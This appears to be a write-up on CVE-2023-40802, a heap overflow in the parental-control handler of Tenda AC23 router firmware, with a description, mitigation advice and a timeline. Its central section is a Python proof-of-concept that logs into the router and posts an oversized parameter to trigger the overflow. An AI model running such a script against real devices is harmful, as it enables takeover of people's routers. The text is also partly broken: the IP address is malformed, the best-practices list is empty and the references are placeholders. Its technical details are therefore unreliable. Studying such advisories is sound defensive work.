The CVE-2023-40802 is a critical vulnerability discovered in Tenda AC23 v16.03.07.45_cn, which is a popular wireless router model designed for high-throughput and range performance. The vulnerability is identified in the get_parentControl_list_Info function and is caused by a lack of proper user input validation, leading to a heap overflow condition. Attackers can exploit this vulnerability to obtain sensitive information, execute arbitrary code, or even gain full control of the device by leveraging post-authentication access to the device. This article aims to provide an in-depth look at the vulnerability, its potential impact, and possible mitigation strategies.

Vulnerability Description

The get_parentControl_list_Info function is responsible for obtaining a list of parental control rules associated with a Tenda AC23 wireless router. However, this function does not correctly validate user input parameters, allowing an attacker to exploit a heap overflow condition and eventually causing undefined behavior or a crash.

Exploit Details

An attacker with valid authentication credentials can exploit this vulnerability by sending a specially crafted request to the router's web management interface. The following is a sample exploit code that demonstrates the potential exploitation of this vulnerability:

import requests

TARGET_IP = '192.168..1'
USERNAME = 'admin'
PASSWORD = 'password'
LOGIN_URL = f'http://{TARGET_IP}/login';
EXPLOIT_URL = f'http://{TARGET_IP}/goform/get_parentControl_list_Info';

# Login to the router's management interface
session = requests.Session()
login_data = {'username': USERNAME, 'password': PASSWORD}
session.post(LOGIN_URL, data=login_data)

# Craft the request with a large parentControl_id value
exploit_data = {'parentControl_id': 'A' * 400}
response = session.post(EXPLOIT_URL, data=exploit_data)

print("Exploit response:", response.text)

This code snippets demonstrate a Python script to exploit the vulnerability using the requests library. The script first logs in to the router's management interface using a valid username and password. Then, it sends a POST request to the vulnerable get_parentControl_list_Info function with a specially crafted payload, causing a heap overflow.

Original References

1. Link to the original CVE report
2. Link to the Tenda AC23 product page

Mitigation Strategies

To protect their devices from being exploited, Tenda AC23 users should immediately update their router's firmware to the latest version. Users can download the firmware update from the official Tenda website.

Additionally, users should follow general security best practices for managing their wireless routers:

Conclusion

The CVE-2023-40802 vulnerability is a critical security issue affecting Tenda AC23 wireless routers, caused by the lack of user input validation in the get_parentControl_list_Info function. Users can mitigate the risk by updating their router firmware and following general security best practices. The vulnerability highlights the need for manufacturers to thoroughly test and validate their products to ensure proper security measures are implemented and potential security issues are addressed.

Timeline

Published on: 08/25/2023 15:15:09 UTC
Last modified on: 08/29/2023 16:11:31 UTC